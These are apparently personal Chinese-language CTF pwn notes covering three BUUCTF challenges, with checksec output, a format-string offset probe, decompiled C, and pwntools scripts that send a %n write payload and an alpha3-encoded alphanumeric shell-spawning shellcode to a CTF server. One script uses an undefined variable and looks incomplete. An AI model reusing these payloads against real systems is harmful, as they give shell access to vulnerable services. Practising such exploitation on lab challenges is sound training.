1 2 3 4 5 llq@llq-virtual -machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ./1111 aaaaa-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x-%0 8x aaaaa-014 fa2a1-fbad2288-014 fa2e2 -00000000 -014 fa2a0-00000000 -00000000 -61616161 -30252 d78-2 d783830-3830252 d-252 d7838 段错误 (核心已转储) llq@llq-virtual -machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$
找到偏移为8
在bss段judge这写入2
进行跳转
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = remote('node5.buuoj.cn' ,28402 ) elf=ELF('./1111' ) payload=b'BB%9$naaa' +p64(pop_rdi) p.sendline(payload) p.interactive()
mrctf2020_shellcode_revenge 2024.8.15
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge/1111' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$ ./1111 Show me your magic! ok I Can't Read This!llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$
怎么说
mian函数无法反编译
chat一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <unistd.h> #include <stdio.h> int main () { char buf[0x400 ]; int var_4; int var_8; write (1 , "Show me your magic!\n" , 0x14 ); var_8 = read (0 , buf, 0x400 ); if (var_8 <= 0 ) { return 0 ; } var_4 = 0 ; while (var_4 < var_8) { if (buf[var_4] >= '`' && buf[var_4] <= 'z' ) { var_4++; continue ; } if (buf[var_4] >= '@' && buf[var_4] <= 'Z' ) { var_4++; continue ; } if (buf[var_4] > '/' && buf[var_4] <= 'Z' ) { var_4++; continue ; } printf ("I Can't Read This!\n" ); return 0 ; } ((void (*)(void ))buf)(); return 0 ; }
怎么说呢??
看半天也不知道这个shellcode怎么写
怎么说。看见write和read函数
是不是ORW??
怎么回事?
1 seccomp-tools dump ./1111
这个命令不好使了
说是直接传shellcode
1 2 3 4 5 6 7 from pwn import *p=process('./1111' ) context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) p=remote('node5.buuoj.cn' ,26745 ) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
一般的shellcode的题解不出来
只能alpha3生成说是
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r = remote("node5.buuoj.cn" ,29770 ) context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) r.recvuntil("Show me your magic!\n" ) shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" payload=shellcode_64 r.send(payload) r.interactive()
picoctf_2018_can_you_gets_me 2024.8.16
日常检查
1 2 3 4 5 6 7 8 9 10 11 12 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$ checksec 1111 [*] '/home/llq/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me/1111' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$ chmod +x 1111 llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$ ./1111 GIVE ME YOUR NAME! ok llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$
丢进ida里面看看